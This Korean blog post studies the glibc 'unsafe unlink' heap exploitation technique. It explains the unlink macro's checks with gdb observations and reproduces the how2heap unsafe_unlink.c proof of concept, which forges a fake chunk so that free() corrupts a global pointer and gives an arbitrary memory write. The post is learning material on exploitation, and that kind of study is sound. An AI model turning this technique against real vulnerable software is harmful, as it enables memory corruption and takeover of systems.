S!_Jmini 2019. 9. 5. 11:49

https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsafe_unlink.c

 

# 시작하기 전에

 

unsafe_unlink는 unlink의 취약점을 통해서 사용자가 원하는 장소에 원하는 값을 적을 수 있다.

이부분에 대해서 공부할 때 heap의 unlink 에 대해서 알고가면 이해하는데 도움이 된다.

 

 

unlink : heap과 heap의 연결리스트를 끊다. (논리적 연결고리를 해제한다.)

 

ex) A <-> B <-> C    =>   A <-> C

 

unlink 는 free를 할 때 인접한 chunk들이 함께 병합될때 호출되는 매크로이다.

 

 

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      
      malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  
    FD = P->fd;                                    
    BK = P->bk;                                    
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))           
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    else {                                    
        FD->bk = BK;                               
        BK->fd = FD;                               
        if (!in_smallbin_range (chunksize_nomask (P))                 
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {             
        if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)          
        || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
          malloc_printerr (check_action,                      
                   "corrupted double-linked list (not small)",    
                   P, AV);                        
            if (FD->fd_nextsize == NULL) {                     
                if (P->fd_nextsize == P)                   
                  FD->fd_nextsize = FD->bk_nextsize = FD;           
                else {                                
                    FD->fd_nextsize = P->fd_nextsize;               
                    FD->bk_nextsize = P->bk_nextsize;               
                    P->fd_nextsize->bk_nextsize = FD;               
                    P->bk_nextsize->fd_nextsize = FD;               
                  }                               
              } else {                                
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;            
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;            
              }                                   
          }                                   
      }                                       
}

 

 

 

 

 

unlink의 첫번째 조건

 

P→size와 next chunk→prev_size 의 값이 다른지 확인한다.

 

 

 

unlink의 두번째 조건

 

 

P->fd->bk 와 P->bk->fd 가 P의 값과 다른지 확인을 한다.

 

 

 

 

 

 

 

# 이해하기

 

 

unlink의 두번째 조건

 

 

P->fd->bk 가 곧 자기 자신 P 이여야 한다는 조건이다.

( 이 때 P 는 병합하려는 이전에 free 한 청크이다. )

 

P->bk->fd = P 를 만족시키는 상황을 그림으로 확인해보자.

 

ch0 free 이후 ch1 free를 했을 경우 ch1의 fd 에는 ch0의 값이 적힐 것이고 결국 P->bk->fd 는 자기자신인 P이다.

 

 

gdb를 통해서 자세히 확인 해볼 수도 있다.

 

 

더보기

 

ch0 과 ch1 할당받고 ch0만 free

 

 

 

ch0의 fd와 bk에는 main_arena+88의 주소가 먼저 적힌다.

 

 

 

 

main_arena+88 +0x8 과 0x10 에는 힙주소(ch0)가 적혀있다.

 

 

 

이 부분을 보아 P->fd->bk 를 실행했을 때 P의 fd에는 main_arena+88 의 주소가 적혀있고

 

main_arena+88 +0x10(main_arena+88을 청크시작이라고보면 bk와 같은 위치) 에는 P의 주소가 적혀있으므로

 

P->fd->bk = P 를 만족시킨다.

 

 

fd 는 힙청크 기준으로 +0x10 시킨 위치고

bk 는 힙청크 기준으로 +0x18 시킨 위치를 말한다.

 

 

만약 이대로 free 하게 된다면 unlink 매크로의 조건을 통과하므로 병합이 정상적으로 일어날 것이다.

 

 

 

 

 

 

 

 

 

unlink의 첫번째 조건

 

 

자신(P)의 chunk에 자신의 size를 더하면 next_chunk이다.

이 next_chunk의 prev_size가 현재 자기자신의 청크(P) size와 같은지 확인한다.

 

너무당연한가

 

 

 

그래서 unlink 가 일어나면 어떻게 되는가 ???

 

 

여기에 집중해보자

 

앞선 코드부분을 확인해보면 FD는 P->fd로 정의되었고 BK는 P->bk로 정의되었다.

 

 

P->fd->bk 에는 BK 값을 넣고

P->bk->fd 에는 FD 값을 넣는다

 

 

이해하려고 시도해보자

 

 

위와 같은 작업을 하는 이유를 생각해보면 연결리스트의 연결을 끊는다면(병합한다면)

병합하기 전 저장되있던 fd 값과 bk값을 넘겨주어야 연결리스트의 구조적 연결이 끊기지 않을 수 있다.

 

 

 

(FD) P->fd 가 main_arena+88 의 주소이다.

 

 

(FD->bk) P->fd->bk 값은 0x603410 이다.

 

 

(FD->bk = BK) p->fd->bk = p->bk 가 되므로 main_arena+88[2] 에는 (BK) p->bk 값인 main_arena+88 값이 들어간다.

이후 P->bk->fd = FD 도 위와 같은 루틴을 통해 main_arena+88[3] 위치에 main_arena+88 의 주소가 적히게 된다.

 

 

.

 

 

 

 

 

 

 

# 활용하기

 

 

 

전역변수에 특정한 변수 주소값을 저장하여 해당 변수에 값을 적을 수 있게 된다.

 

 

 

< unsafe_unlink.c >

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{
	fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");
	fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");
	fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
	fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
	fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

	int malloc_size = 0x80; //we want to be big enough not to use fastbins
	int header_size = 2;

	fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
	fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
	fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

	fprintf(stderr, "We create a fake chunk inside chunk0.\n");
	fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
	fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
	fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
	fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
	fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

	//fprintf(stderr, "We need to make sure the 'size' of our fake chunk matches the 'previous_size' of the next chunk (chunk+size)\n");
	//fprintf(stderr, "With this setup we can pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False\n");
	//fprintf(stderr, "P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))\n");
	//fprintf(stderr, "If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).\n");
	//fprintf(stderr, "We just need to set the *(chunk0_ptr + x) = x, so we can pass the check\n");
	//fprintf(stderr, "1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing\n");
	//fprintf(stderr, "2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass\n");
	//fprintf(stderr, "3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20\n");
	//chunk0_ptr[1] = sizeof(size_t);
	//fprintf(stderr, "In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (%p) == chunk0_ptr->size (%p)\n", ((char *)chunk0_ptr + chunk0_ptr[1]), &chunk0_ptr[1]);
	//fprintf(stderr, "You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30\n\n");

	fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
	fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
	fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
	chunk1_hdr[0] = malloc_size;
	fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
	fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
	chunk1_hdr[1] &= ~1;

	fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
	fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
	free(chunk1_ptr);

	fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;

	fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
	fprintf(stderr, "Original value: %s\n",victim_string);
	chunk0_ptr[0] = 0x4141414142424242LL;
	fprintf(stderr, "New Value: %s\n",victim_string);
}

 

 

 

chunk1의 prev_size를 보고 chunk0의 위치가 fake chunk 위치라고 생각한다.

 

 

 

 

조건을 어떻게 맞추어야하는지 이해되었다면 어떻게 병합이 발생했는지 이해해보자

 

 

왜 chunk0_ptr[3] 에 주소를 넣은 뒤 [0] 에 값을 입력하는지 생각해보자.

 

 

 

chunk0_ptr은 unlink 과정을 통해 chunk0_ptr-0x18 주소값을 가지게 될것이고

따라서 chunk0_ptr[3] (chunck0_ptr - 0x18 + 0x18 )에 victim_string 주솟값을 넣어준다면

chunk0_ptr 은 victim_string 을 가르키게 되고

이에 따라 chunk0_ptr[0] 의 값을 수정하면 victim_string 의 값이 BBBBAAAA 로 들어가게 되는 것이다.

 

 

이해가 안된다면 될때까지!

 

4141414142424242 인데 왜 BBBBAAAA 인지는 알겠지!

 

 

 

 

# 참고하면 좋은 사이트

 

https://code1018.tistory.com/195

https://umbum.tistory.com/411

https://www.lazenca.net/display/TEC/unsafe+unlink